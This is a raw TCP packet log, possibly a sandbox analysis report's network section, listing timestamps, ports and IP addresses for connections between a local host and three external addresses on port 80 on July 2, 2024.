Jul 2, 2024 12:21:12.519326925 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519330025 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.519339085 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519346952 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.519376993 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.519469023 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519479990 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519490004 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519500971 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519501925 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.519511938 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519526005 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.519553900 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.519664049 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519679070 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519689083 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519701004 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519704103 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.519711971 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519726992 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.519754887 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.519912004 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519922972 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519934893 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519942045 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.519944906 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519956112 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519967079 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519968987 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.519978046 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519994020 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.519996881 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520004988 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520019054 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520042896 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520226955 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520237923 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520247936 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520256996 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520257950 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520268917 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520278931 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520282030 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520289898 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520301104 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520304918 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520313025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520325899 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520339966 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520514965 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520526886 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520538092 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520549059 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520551920 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520559072 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520576954 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520598888 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520714045 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520745039 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520756006 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520766020 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520767927 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520776033 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520792007 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520817995 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520857096 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520869017 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.520891905 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.520914078 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.593530893 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.593555927 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.593566895 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.593595028 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.593595982 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.593610048 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.593641996 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.593648911 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.593661070 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.593682051 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.593683958 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.593705893 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.593723059 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.607258081 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607284069 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607295036 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607337952 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.607357979 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.607376099 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607387066 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607398033 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607413054 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.607440948 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.607553959 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607564926 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607575893 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607587099 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607590914 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.607598066 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607608080 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607620955 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607628107 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.607645988 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.607809067 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607819080 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607830048 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607840061 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607850075 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607851028 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.607867002 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607882977 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.607911110 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.607988119 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.607999086 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608009100 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608021021 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608042955 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608108044 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608118057 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608128071 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608139038 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608148098 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608150005 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608165979 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608174086 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608216047 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608292103 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608302116 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608339071 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608342886 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608355999 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608387947 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608416080 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608465910 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608475924 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608495951 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608495951 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608506918 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608516932 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608535051 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608562946 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608648062 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608659029 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608669043 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608679056 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608690023 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608684063 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608705997 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.608711004 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608732939 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.608762980 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.609401941 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609438896 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.609447956 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609476089 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609482050 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.609486103 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609519005 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.609555006 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609565973 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609591007 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.609617949 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.609715939 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609728098 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609738111 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609747887 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609757900 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.609759092 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609788895 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.609860897 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609872103 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609894991 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.609922886 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.609929085 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609940052 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.609963894 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.609988928 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610042095 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610058069 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610068083 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610078096 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610080004 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610088110 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610110044 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610136986 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610193968 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610204935 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610229015 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610255957 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610368967 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610379934 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610389948 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610399961 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610404968 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610410929 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610420942 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610430002 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610439062 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610443115 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610466957 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610482931 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610586882 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610598087 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610608101 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610626936 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610655069 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610655069 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610665083 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610681057 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610698938 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610728025 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610857010 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610867977 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610882044 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610891104 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610893011 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610903025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610913038 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610918999 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610924006 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.610949993 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.610965967 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.611078978 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611089945 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611099958 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611110926 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611115932 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.611123085 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611149073 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.611161947 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.611279011 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611289978 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611299992 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611310005 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611315012 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.611320972 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611342907 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.611371040 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.611526012 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611536026 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611546040 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611556053 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611562014 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.611567020 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611577034 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611587048 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611593008 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.611598015 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611609936 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611618996 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.611627102 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.611645937 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.611673117 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.684567928 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.684581041 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.684592009 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.684601068 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.684633017 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.684667110 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:15.322835922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:15.322889090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:17.041867971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:17.042840004 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:23.712773085 CEST	55236	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:23.717741966 CEST	80	55236	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:23.717808962 CEST	55236	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:23.717962980 CEST	55236	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:23.722716093 CEST	80	55236	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:27.449906111 CEST	80	55236	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:27.452461004 CEST	55236	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:27.454011917 CEST	55236	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:27.459095955 CEST	80	55236	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:28.067233086 CEST	80	55236	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:28.067301989 CEST	55236	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:28.084429026 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.089261055 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.089327097 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.089421034 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.094213009 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.807576895 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.807614088 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.807629108 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.807642937 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.807657957 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.807668924 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.807678938 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.807694912 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.807710886 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.807724953 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.807739973 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.807858944 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.807858944 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.807858944 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.807858944 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.813183069 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.813206911 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.813222885 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.813252926 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.813287973 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.930866957 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.930912018 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.930928946 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.930943012 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.930965900 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.931081057 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.931103945 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.931119919 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.931195974 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.931196928 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.931196928 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.931196928 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.931221008 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.931245089 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.931261063 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.931277037 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.931953907 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.931993008 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.932002068 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.932008028 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.932024002 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.932046890 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.932081938 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.932097912 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.932121038 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.932137966 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.932847977 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.932873011 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.932888031 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.932889938 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.932903051 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.932910919 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.932919025 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.932929993 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.932950020 CEST	55237	80	192.168.2.7	77.91.77.81
